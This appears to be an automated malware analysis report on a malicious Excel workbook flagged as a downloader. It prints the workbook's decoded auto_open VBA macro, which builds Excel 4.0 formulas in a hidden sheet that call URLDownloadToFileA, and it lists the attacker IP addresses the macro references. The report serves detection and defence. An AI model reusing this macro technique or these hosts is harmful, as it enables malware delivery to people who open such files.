Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b4aa2b8a7004cf00…

MALICIOUS

Office (OOXML)

104.8 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-21
MD5: 60f385d5e973f4e4c7d0f65b622763f5 SHA-1: 2ea082ee5251cd629947e43289a3fd4494998b87 SHA-256: b4aa2b8a7004cf00211d43c0462e4b3bfcddf11693fbc95a03b4b279edab4469
218 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains both VBA and Excel 4.0 macros, with the VBA code explicitly calling URLDownloadToFileA to fetch a payload from a remote URL. The presence of an Auto_Open macro and the ClamAV detection signature 'Xls.Downloader.Docusign112101-9908076-0' strongly indicate a downloader functionality. The macros are designed to execute automatically upon opening the document, facilitating the download and execution of further malicious content.

Heuristics 7

  • ClamAV: Xls.Downloader.Docusign112101-9908076-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Docusign112101-9908076-0
  • Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Sheets("JolaBobo").Range("H35") = "=HALT()"
Sheets("JolaBobo").Range("I10") = "URLDownloadToFileA"
Sheets("JolaBobo").Range("I12") = "Friskos"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()
On Error Resume Next
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://185.106.120.104/ Referenced by macro
    • http://111.90.149.58/4/Referenced by macro
    • http://91.242.229.189/Referenced by macro
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/excel/2006/mainReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acReferenced by macro
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionReferenced by macro
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2Referenced by macro
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3Referenced by macro
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6Referenced by macro

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3403 bytes
SHA-256: 6a01c0e9be3701a640815b715aff6f6dd99371155feb9a62dc8ebe025c086261
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{8ECCCE29-526F-4F15-A3D0-D016CA26A784}{B059F3FB-D065-4AE2-9446-8F8A498A0C23}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "UserForm2"
Attribute VB_Base = "0{0A1E842A-B929-4FA3-A05E-17BCE934C8BC}{1937AE14-BE2E-49BB-B31D-A0866C7FF058}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module1"

Sub auto_open()
On Error Resume Next

Application.ScreenUpdating = False
Sheets("JolaBobo").Range("H24") = UserForm3.Label1.Caption
Sheets("JolaBobo").Range("H25") = UserForm3.Label2.Caption
Sheets("JolaBobo").Range("H26") = UserForm3.Label3.Caption
Sheets("JolaBobo").Range("K18") = ".dat"
Sheets("JolaBobo").Range("H35") = "=HALT()"
Sheets("JolaBobo").Range("I10") = "URLDownloadToFileA"
Sheets("JolaBobo").Range("I12") = "Friskos"
Sheets("JolaBobo").Range("G10") = UserForm2.Caption
Sheets("JolaBobo").Range("G11") = UserForm2.Caption & "1"
Sheets("JolaBobo").Range("G12") = UserForm2.Caption & "2"
Sheets("JolaBobo").Range("I17") = UserForm1.Caption
Sheets("JolaBobo").Range("I18") = UserForm1.Caption & "1"
Sheets("JolaBobo").Range("I19") = UserForm1.Caption & "2"
Sheets("JolaBobo").Range("H10") = "=Friskos(0,H24&K17&K18,G10,0,0)"
Sheets("JolaBobo").Range("H11") = "=Friskos(0,H25&K17&K18,G11,0,0)"
Sheets("JolaBobo").Range("H12") = "=Friskos(0,H26&K17&K18,G12,0,0)"
Sheets("JolaBobo").Range("H9") = "=" & UserForm2.Tag & "(I9,I10&J10,I11,I12,,1,9)"
Sheets("JolaBobo").Range("H17") = "=" & UserForm1.Tag & "(I17)"
Sheets("JolaBobo").Range("H18") = "=" & UserForm1.Tag & "(I18)"
Sheets("JolaBobo").Range("H19") = "=" & UserForm1.Tag & "(I19)"
Sheets("JolaBobo").Range("H17") = "=" & UserForm1.Tag & "(I17)"
Sheets("JolaBobo").Range("H18") = "=" & UserForm1.Tag & "(I18)"
Sheets("JolaBobo").Range("H19") = "=" & UserForm1.Tag & "(I19)"
Sheets("JolaBobo").Range("H17") = "=" & UserForm1.Tag & "(I17)"
Sheets("JolaBobo").Range("H18") = "=" & UserForm1.Tag & "(I18)"
Sheets("JolaBobo").Range("H19") = "=" & UserForm1.Tag & "(I19)"
Application.Run Sheets("JolaBobo").Range("H1")
End Sub






Attribute VB_Name = "UserForm3"
Attribute VB_Base = "0{CA085F4C-09BC-45AB-A774-36D64A7C08F1}{17BD3B1E-7FB1-4832-877E-1C85AD0F5D6B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 30208 bytes
SHA-256: 585bf0dc82b66dff16f6996a2eee1d7518722759f73d656982c68bd4e0b44766
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 1515 bytes
SHA-256: 73cb324a5fa5692acfa72546b23f026fb48433c2030b503c1f579b653e6d81b1
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{F0ECC364-3B7D-4853-B4E3-2142EE7A9967}"><dimension ref="I9:K17"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="9" spans="9:9" x14ac:dyDescent="0.25"><c r="I9" s="2" t="s"><v>1</v></c></row><row r="11" spans="9:9" x14ac:dyDescent="0.25"><c r="I11" s="2" t="s"><v>0</v></c></row><row r="17" spans="11:11" x14ac:dyDescent="0.25"><c r="K17" s="2"><f>NOW()</f><v>44505.545986921294</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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